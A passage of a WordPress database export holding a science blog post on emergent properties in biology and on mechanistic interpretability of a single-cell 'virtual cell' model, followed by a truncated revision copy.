/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can#footnote-anchor-4-151663579\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like becoming<a href=\"https://trevorklee.substack.com/p/is-longevity-a-choice-how-about-obesity\">&nbsp;an obese, long-lived cavefish</a>.</p>\n<!-- /wp:paragraph -->','If langurs can drink seawater, can humans do so as well?','','inherit','closed','closed','','498-revision-v1','','','2025-07-03 19:30:17','2025-07-03 19:30:17','',498,'https://trevorklee.com/?p=499',0,'revision','',0),
(500,1,'2025-07-03 19:31:01','2025-07-03 19:31:01','<!-- wp:paragraph -->\n<p>There’s a great series of online sci-fi short stories/novellas that got turned into a book called&nbsp;<em>There is No Antimemetics Division<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-1-152195561\">1</a></em>. The stories center around the idea that there are ideas too powerful to be known. To know them is to expose yourself as a target, because [spoiler]<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-2-152195561\">2</a>. So, the only way to combat these ideas is to not spread them and not even know them, but somehow keep them in your unconscious mind regardless as you blindly work towards combating the danger they represent. Hence, they are anti memes: ideas designed not to be spread.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is kind of how I think about emergent properties in biology. It’s one of the most troubling parts of biology: on a macro level, we deal with many of the cool biological adaptations I talk about in this blog, like how<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can\">&nbsp;some langurs can drink seawater without dying</a>&nbsp;or&nbsp;<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese\">some fish can become cavefish</a>. On a micro level, we deal with innumerable proteins and pathways. Connecting the two is difficult, as my longwinded blog posts show. We usually can’t fully figure out how the one leads to the other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first one to notice this, of course. This is one of the most fundamental problems in biology, going back to at least the discovery of DNA. So many of the tools that we’ve developed have been in pursuit of solving the connection between these two: gene knockout, gene overexpression, gene knockdown, gene jeans<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-3-152195561\">3</a>, the list goes on and on.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet, still, this connection remains impossible to bridge. We remain like people trying to understand a car (or a&nbsp;<a href=\"https://www.cell.com/cancer-cell/pdf/S1535-6108(02)00133-2.pdf\">radio</a>) by taking out random lugnuts and seeing if the car breaks. We still lack a holistic understanding of how the car is even entirely put together at rest, nevermind how it runs. It’s enough to drive you crazy if you think about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Wrz_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaea2b1e-0d50-4364-8613-7a33166fdee1_512x255.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Wrz_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaea2b1e-0d50-4364-8613-7a33166fdee1_512x255.jpeg\" alt=\"Intro to Driving: How Does a Car Work | IMPROV®\" title=\"Intro to Driving: How Does a Car Work | IMPROV®\"/></a><figcaption class=\"wp-element-caption\">Imagine trying to understand a car by disabling random parts of it. If you disable the battery, the car doesn’t start, so that’s a lethal mutation. If you disable the engine, the car also doesn’t run. That’s another lethal mutation. Is there a difference between these two organelles? Unclear. Let’s try adding two engines and no battery and seeing what happens.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, on the other hand, if you don’t think about it, it does kind of work. We do have some ideas on how DNA leads to proteins which leads to macro features. We can engineer flies, mice, and even humans on a DNA level to give them desirable phenotypes on a whole organism level, like a lack of sickle cell or beta cell thalassemia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why I say the problem of emergent properties in biology is kind of like an antimeme: if you don’t think about it too hard, it’s not a problem. We can fix the car: not completely, not if it’s totaled, not if it’s rusted, but we can fix it for certain important problems. We can sometimes even fix it from first principles, given our limited understanding of what those principles are. But then, if we stare at the whole car in its complexity and think about how to build it, we are paralyzed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, we assumed the only way we can get past this hurdle is by brute forcing it. If we understood enough pathways and enough proteins, then slowly, slowly, we’d understand the cell. Then we’d understand the tissue, and the organ, and the body. This is, of course, not how we understood the car (no auto class starts by learning the position of every lug nut), but there didn’t seem to be any other way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seems to have changed now. The advent of deep learning models, like Alpha Fold, has allowed us to jump ahead and start seeing emergent properties in a number of systems, biological and not. And, in the process, it’s totally wrecked the automotive analogy, to the point where I’ve noticed most people still don’t realize how outdated it is. I mean, deep learning is basically the equivalent of an automotive manufacturing class that starts with giving the computer a bunch of data about different lugnuts and bolts in functioning cars, most importantly which ones are next to which, and then the computer puts together a digital model of a functioning car. And then, if you print out those lugnuts in the exact order in the real world, it self-assembles into a functioning car. We’ve gone way outside our original analogy, and we’re struggling to keep up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a tricky situation! Good, but tricky. We’ve somehow gotten to the point where our models understand how the micro connects to the macro (albeit partially, and only for most proteins and some whole cells), but we don’t. But, actually, our models don’t understand it either, because understanding doesn’t come with the training process. They just do it. So, for some really important problems, the problem of emergence has been solved, but nobody can point to how or where or what it means.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a surprisingly ok set of affairs for a lot of purposes. David Baker’s lab has been doing a ton of really cool stuff involving designing proteins using these sorts of deep learning models, including&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC11463446/\">designing enzymes</a>&nbsp;and creating&nbsp;<a href=\"https://www.nature.com/articles/s41586-024-08366-0\">conditionally binding proteins</a>. Meanwhile, Arc Institute has been working on&nbsp;<a href=\"https://www.science.org/doi/abs/10.1126/science.ado9336\">designing prokaryotic cells starting from the genome level</a>, including designing useful prokaryotic tools like CRISPR-Cas systems. These projects require an intimate understanding of deep learning models and their quirks, but they still don’t crack the black box open.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!C-Gb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff321d47e-46b9-4e47-aca8-2b520ab5102d_512x512.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!C-Gb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff321d47e-46b9-4e47-aca8-2b520ab5102d_512x512.png\" alt=\"NIH 3D - Human Rogdi-AlphaFold\" title=\"NIH 3D - Human Rogdi-AlphaFold\"/></a><figcaption class=\"wp-element-caption\">Can I be honest? People always make these cool looking ribbon diagrams with programs like AlphaFold and they don’t do anything for me. I think I need to be deeper into protein design to appreciate the utility of them.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is missing out on a big opportunity, though. It’s true that we don’t need to crack these black boxes open to do a lot of cool stuff. It’s even more true that there’s a ton of cool stuff left to do without cracking the black boxes open, as David Baker’s voluminous output post-Nobel Prize suggests (30+ papers and counting in 2024 alone).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But somewhere in that black box is some kind of understanding of how micro features relate to macro features. I’m not saying this decades-old problem is close to being solved, but we have a sudden new tool for trying to solve more of it. It’s a neat opportunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why I’ve been excited by this rash of biological mechanistic interpretability work that’s popped up out of nowhere in the last few weeks. Mechanistic interpretability, if you’re unaware, is a special way of training these models so that their mechanics become, well, interpretable<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-4-152195561\">4</a>. Once their mechanics are interpretable, it’s also possible to tweak their mechanics, and ratchet up or down pieces of the black box. So, we can actually better understand how these models understand biology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have to admit that the usefulness of this for biology took me by surprise. I had been vaguely aware of mechanistic interpretability from Anthropic’s “Golden Gate Claude” work, which showed that they could tweak their LLM, Claude, to become obsessed with the Golden Gate Bridge. I thought this was fun, but not academically interesting, because I’m not that interested in the inner workings of LLM. So, I forgot about it after playing around for a bit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, about a month or two ago, I came across a great, long essay by Adam Green, “<a href=\"https://www.markov.bio/research/mech-interp-path-to-e2e-biology\">Through A Glass Darkly</a>”, in which he claimed to have created a virtual cell by training a model on single-cell gene count data, or the counts of genes expressed inside individual cells. This allowed his model to learn which genes co-express in which cells and tissues, and predict which genes will tend to co-express in new cells and tissues<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-5-152195561\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Off the bat, I was admittedly skeptical of his claim that this gene count data constitutes a virtual cell, and in some respects I still am. A cell, after all, isn’t just a static collection of genes that have been expressed. A cell is a living, changing thing that obeys the laws of physics (especially fluid dynamics). Even the magic of deep learning can’t change that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I kept reading. Adam explained that, once he built his “virtual cell”, he also built a “virtual microscope” to peer inside the cell. This, as you probably guess, was his mechanistically interpretable model. He argued that, when his model learned which genes tended to co-express in new cells and tissues, it was actually learning how the expression of genes would change as cells or tissues themselves changed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is, even though the model was trained on static, flat snapshots, it learned how the snapshots would change when any piece of the snapshot would change. This meant that his model somehow understood the life of the cell, and all that was left to do was interrogate it. If we interrogated it, that meant we could learn from it what would happen in different scenarios. In other words, we could run virtual experiments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was so taken aback by this idea that I felt that I had to understand it better before reaching a conclusion. I reached out to some friends who are better versed in this sort of modeling than I am (like&nbsp;<a href=\"https://www.owlposting.com/\">owl posting</a>&nbsp;and&nbsp;<a href=\"https://substack.com/@an1lam\">Stephen Malina</a>), and also reached out to Adam directly. It took a while, but I think I finally get what Adam really did, what the promises of this idea are, and what the limitations are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me begin, as I like to do, with an analogy. Imagine you are someone who’s never been to Hawaii. In fact, you don’t know anything about Hawaii, or anything about the world in general. You have lived your entire life in a windowless room, lit only by a single lightbulb. One day, someone passes a bunch of photos of Hawaii underneath your door. It shows all parts of Hawaii, including the cities, the beaches, and the airport. These photos are weird: they are amalgamations of all times and weather conditions, which is not problematic for understanding the airport photos but is more problematic for trying to understand the beach ones, as storms, sunny days, sunbathing, and storm surges combine into one complicated image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The rest of this post continues my Hawaii analogy and talks about it in relation to Adam Green’s work and what it means for the problem of emergence.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, you try to learn as much as you can about Hawaii from these photos. You learn that coffee shops in Hawaii are in the airports and cities, but not on the beaches. You learn that people usually wear flip flops on the beach and sometimes in the airport. You learn that people occasionally carry umbrellas in cities and on the beach, but you can’t make the connection of that with the weather, because the photos don’t give you that information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But still, you learn a lot. And the next day, when someone presents you with slightly incorrect photos of Hawaii: skyscrapers on the beach, surfers cutting waves in the airport, planes landing on the highway, you’re able to correct them and point on that there needs to be sand on the beach, travelers in the airport, and cars on the highway. Congrats, you now have a foundation model of Hawaii, based on the “gene expression” in those photos.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Jp4n!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8dba4391-44b3-4b03-847d-2e3c7ee29476_1600x1067.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Jp4n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8dba4391-44b3-4b03-847d-2e3c7ee29476_1600x1067.jpeg\" alt=\"The best beaches in Dubai | Condé Nast Traveller Middle East\" title=\"The best beaches in Dubai | Condé Nast Traveller Middle East\"/></a><figcaption class=\"wp-element-caption\">Of course, you’d never be able to predict that in Dubai, they have camels on the beach. There’s a limit to your model.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Let’s now say that people are very impressed with your conception of Hawaii. They want to understand you. First, they try to get you to say as simply as possible what makes you realize that there needs to be sand on the beach instead of skyscrapers. Because you learned all of this subconsciously, you probably have weird internal heuristics of how you learned this, like maybe the combination of seagulls, beachballs, and flip flops makes you think beach, and that’s associated with sand. But, if you’re forced to use as few words as possible, maybe you’d eventually get to pointing at the ocean and the beachgrass, and you’d say that these two things make a beach and need to have sand between them, even if you don’t know what either of them are called. Hopefully then your interlocutor can label these for you and for themselves, so now they understand how you work, to some extent. Congrats, you are now mechanistically interpretable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then your interlocutor, now that they can communicate with you, asks you what would happen to the sand and the beachgrass if the ocean experienced a 10 foot increase in depth after, say, some climate change. In this sense, he’s running an experiment. You’d probably be able to guess that a lot of the sand would disappear. Maybe, you’d predict that even though the ocean wouldn’t be deep enough to fully cover the beachgrass, there still wouldn’t be any beachgrass afterwards. You’d make this inference just from the fact that you’ve never seen beachgrass in shallow water, but it’d reflect the physical reality that beachgrass can’t grow in seawater. Congrats, you’ve successfully run an experiment just based on your model. Or, rather, an experiment has been run on you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bringing this back to mechanistic interpretability, I think you can see the promises and limitations of Adam Green’s idea. There’s definitely a lot of context that gets lost with a snapshot of the gene count of a cell, especially if there’s every possible thing that could happen (gene expression) included in that snapshot. However, because all the gene expressions are represented, you can actually get a pretty good understanding of how things work and which genes tend to be expressed together. This does give you some idea of how the whole cell gets put together. You even get some limited understanding of the physics and logic behind the gene counts, enough so that you can make limited inferences of what would happen in new scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think the most difficult thing about this approach is not what’s not present in the model, though. That’s obvious. You can’t ask a snapshot of what will happen over time, because it doesn’t have a conception over time. I think what’s difficult is knowing what the limitations are. If I ask you about what would happen if Honolulu got flooded, you probably wouldn’t predict cars floating down the streets. Instead, you might confidently predict that it would look like the ocean, with no visible objects in the water. If your interlocutor can’t sanity check you, he might believe it, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adam Green, in his virtual cell, probably underestimates this difficulty. He shows some cool things:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Genes that are associated with plasma cell terminal differentiation and immunoglobulin secretion (the equivalent of your interlocutor asking you which colors and shapes you associate with beaches)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changes in genes when epithelial tight junction and barrier formation programs are activated (the equivalent of your interlocutor asking you what happens to the colors and shapes on the beach that represent the seagrass if the seagrass gets twice as big)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Downstream changes resulting from thymus feature activation (the equivalent of your interlocutor asking you what happens to the colors and shapes that represent the water if the seagrass gets twice as big)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Identifying unique populations of enterocytes based on unique gene expression patterns (the equivalent of your interlocutor asking you to identify different types of grass in Hawaii’s lawns based on different colors and shapes)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this is legitimately cool, and why I was excited about this approach and spent so much time thinking about it. There definitely feels like there’s something here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!HEC9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda70cfa0-5e6b-47f8-96e1-9e58bd3ce2f4_1916x1299.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!HEC9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda70cfa0-5e6b-47f8-96e1-9e58bd3ce2f4_1916x1299.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is Adam Green’s “microscope”. Here’s&nbsp;<a href=\"https://markov-virtual-cell-explorer.vercel.app/\">a link</a>, if you want to play around with it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, all of it is presented with the same amount of confidence, and I can only rely on my basic knowledge of cell biology to sanity check any of it. Even if I do sanity check some of it, any of the novel discoveries, which are the most important things to check, are as suspect as your interlocutor asking you what happens to the ocean if the seagrass grows.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This brings us on where to go from here. In my communication with Adam, I suggested the first thing for him to do would be to check some of these novel “discoveries” with wet lab experiments. I understand that’s really expensive and requires a different set of skills than training a model, but it feels necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s assume that that’s done, though, and it’s found these models have some mix of interesting, useful predictions and convincingly false predictions, as I expect. What should we do next?<br><br>The most obvious low-hanging fruit is to add a time dimension. One intriguing possibility I see here comes from a recent paper that suggests&nbsp;<a href=\"https://www.biorxiv.org/content/10.1101/2024.11.18.624170v1\">RNAs carry their history with them in the form of edits</a>. If we can weight gene coexpression by time variation (i.e. these genes tend to coexpress at these times), we’d be able to start understanding how cells change over time, the equivalent of knowing that sunshine and sunglasses tend to co-occur and rain and umbrellas tend to co-occur. This still wouldn’t solve predictions from totally outside of the dataset (i.e. there’d be no way of knowing what people wear when it snows), but it’d give a lot more information about what happens inside the dataset.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adam Marblestone on Twitter suggested an intriguing, more difficult thing to add to this model. He suggested using imaging data, specifically expansion microscopy, which allows clearer views of what’s actually happening inside a cell. If this could be accomplished, this would not only add a time dimension, but also space. Or, in other words, it’d let us add information about what happens to the cell’s features traveling through space and time as gene expression changes. This would be the equivalent of some sort of virtual reality video of Hawaii, which obviously could instantly add much needed reality to a condensed snapshot. Even just a short video could better constrain the model’s predictions to reality, and potentially serve to sanity check any predictions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these are completely straightforward to add. Both of them need at least some connection to the gene count data, which would either require generating new data with gene count expression and time/expansion microscopy together, or really careful matching. However, I think they’re necessary for making this useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’d like to conclude this essay by saying the problem of emergence is finally within our grasp. But, I don’t think it is. We have developed an important new tool, though. That feels undeniable, and kudos to those brave explorers who’ve started to use it. I’m looking forward to what we find next.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-1-152195561\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The whole thing is&nbsp;<a href=\"https://qntm.org/scp\">free to read online</a>&nbsp;if you want to spend a weekend. His other works are great too, fyi.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-2-152195561\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve put this spoiler in a footnote. It’s not a huge spoiler but it’s definitely a spoiler. The idea itself is that there’s a giant monster which seeks to mind-control all people and devour the Earth. If you become aware of this monster, it becomes aware of you, and will immediately try to mind control you or, failing that, send its mind-controlled minions after you. It’s cool and spooky in context, I swear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-3-152195561\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I made this one up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-4-152195561\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For technical details (which, to be frank, I’m weak on, but trying to improve): deep learning models involve measuring correlations between motifs that appear over and over again in the data set (like amino acid triplets). The models learn to represent the motifs as a set of neuronal weights through repeated passes, encoding the core motifs into layers of neurons. Once the model is adequately trained on how to recognize the motifs, new “fuzzed” data set are used to get the model to try to predict, or generate new data (i.e. recognizing a slightly off data set is equivalent to predicting what the data should be).<br><br>Because there are multiple layers of neurons, and the model’s taught itself how to recognize these motifs, it’s impossible for a human to understand how these models work. However, if you take the model again, and force it to try to reconstitute its understanding using a single layer of neurons, you end up with a much more easily understandable model, one in which small populations of neurons correspond to individual features. The next time you show the model something to recognize, you can see which neurons light up, similar to fMRIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s really cool is then you can weight certain neurons more heavily, and give them a much higher probability of firing. In their original work, Anthropic did this with the “Golden Gate” neurons, causing their large language model to mention the Golden Gate Bridge at inappropriate times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-5-152195561\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The rest of this blog post is about Adam Green’s work with mechanistic interpretability as it pertains to gene count data. The other biological mechanistic interpretability efforts that I’m aware of all have to do with protein models, which I find less interesting. This is partially because I actually just find protein design in general less interesting as a personal thing, and also because nobody has come up with good experiments to be done with mechanistic interpretability of protein design. I’m not saying experiments can’t be done, but I haven’t seen any so far.</p>\n<!-- /wp:paragraph -->','Cracking biological emergence with mechanistic interpretability','','publish','closed','closed','','cracking-biological-emergence-with-mechanistic-interpretability','','','2025-07-03 19:31:01','2025-07-03 19:31:01','',0,'https://trevorklee.com/?page_id=500',0,'page','',0),
(501,1,'2025-07-03 19:31:01','2025-07-03 19:31:01','<!-- wp:paragraph -->\n<p>There’s a great series of online sci-fi short stories/novellas that got turned into a book called&nbsp;<em>There is No Antimemetics Division<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-1-152195561\">1</a></em>. The stories center around the idea that there are ideas too powerful to be known. To know them is to expose yourself as a target, because [spoiler]<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-2-152195561\">2</a>. So, the only way to combat these ideas is to not spread them and not even know them, but somehow keep them in your unconscious mind regardless as you blindly work towards combating the danger they represent. Hence, they are anti memes: ideas designed not to be spread.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is kind of how I think about emergent properties in biology. It’s one of the most troubling parts of biology: on a macro level, we deal with many of the cool biological adaptations I talk about in this blog, like how<a href=\"https://trevorklee.substack.com/p/if-langurs-can-drink-seawater-can\">&nbsp;some langurs can drink seawater without dying</a>&nbsp;or&nbsp;<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese\">some fish can become cavefish</a>. On a micro level, we deal with innumerable proteins and pathways. Connecting the two is difficult, as my longwinded blog posts show. We usually can’t fully figure out how the one leads to the other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first one to notice this, of course. This is one of the most fundamental problems in biology, going back to at least the discovery of DNA. So many of the tools that we’ve developed have been in pursuit of solving the connection between these two: gene knockout, gene overexpression, gene knockdown, gene jeans<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-3-152195561\">3</a>, the list goes on and on.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet, still, this connection remains impossible to bridge. We remain like people trying to understand a car (or a&nbsp;<a href=\"https://www.cell.com/cancer-cell/pdf/S1535-6108(02)00133-2.pdf\">radio</a>) by taking out random lugnuts and seeing if the car breaks. We still lack a holistic understanding of how the car is even entirely put together at rest, nevermind how it runs. It’s enough to drive you crazy if you think about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Wrz_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaea2b1e-0d50-4364-8613-7a33166fdee1_512x255.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Wrz_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaea2b1e-0d50-4364-8613-7a33166fdee1_512x255.jpeg\" alt=\"Intro to Driving: How Does a Car Work | IMPROV®\" title=\"Intro to Driving: How Does a Car Work | IMPROV®\"/></a><figcaption class=\"wp-element-caption\">Imagine trying to understand a car by disabling random parts of it. If you disable the battery, the car doesn’t start, so that’s a lethal mutation. If you disable the engine, the car also doesn’t run. That’s another lethal mutation. Is there a difference between these two organelles? Unclear. Let’s try adding two engines and no battery and seeing what happens.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, on the other hand, if you don’t think about it, it does kind of work. We do have some ideas on how DNA leads to proteins which leads to macro features. We can engineer flies, mice, and even humans on a DNA level to give them desirable phenotypes on a whole organism level, like a lack of sickle cell or beta cell thalassemia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why I say the problem of emergent properties in biology is kind of like an antimeme: if you don’t think about it too hard, it’s not a problem. We can fix the car: not completely, not if it’s totaled, not if it’s rusted, but we can fix it for certain important problems. We can sometimes even fix it from first principles, given our limited understanding of what those principles are. But then, if we stare at the whole car in its complexity and think about how to build it, we are paralyzed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, we assumed the only way we can get past this hurdle is by brute forcing it. If we understood enough pathways and enough proteins, then slowly, slowly, we’d understand the cell. Then we’d understand the tissue, and the organ, and the body. This is, of course, not how we understood the car (no auto class starts by learning the position of every lug nut), but there didn’t seem to be any other way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seems to have changed now. The advent of deep learning models, like Alpha Fold, has allowed us to jump ahead and start seeing emergent properties in a number of systems, biological and not. And, in the process, it’s totally wrecked the automotive analogy, to the point where I’ve noticed most people still don’t realize how outdated it is. I mean, deep learning is basically the equivalent of an automotive manufacturing class that starts with giving the computer a bunch of data about different lugnuts and bolts in functioning cars, most importantly which ones are next to which, and then the computer puts together a digital model of a functioning car. And then, if you print out those lugnuts in the exact order in the real world, it self-assembles into a functioning car. We’ve gone way outside our original analogy, and we’re struggling to keep up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a tricky situation! Good, but tricky. We’ve somehow gotten to the point where our models understand how the micro connects to the macro (albeit partially, and only for most proteins and some whole cells), but we don’t. But, actually, our models don’t understand it either, because understanding doesn’t come with the training process. They just do it. So, for some really important problems, the problem of emergence has been solved, but nobody can point to how or where or what it means.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a surprisingly ok set of affairs for a lot of purposes. David Baker’s lab has been doing a ton of really cool stuff involving designing proteins using these sorts of deep learning models, including&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC11463446/\">designing enzymes</a>&nbsp;and creating&nbsp;<a href=\"https://www.nature.com/articles/s41586-024-08366-0\">conditionally binding proteins</a>. Meanwhile, Arc Institute has been working on&nbsp;<a href=\"https://www.science.org/doi/abs/10.1126/science.ado9336\">designing prokaryotic cells starting from the genome level</a>, including designing useful prokaryotic tools like CRISPR-Cas systems. These projects require an intimate understanding of deep learning models and their quirks, but they still don’t crack the black box open.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" 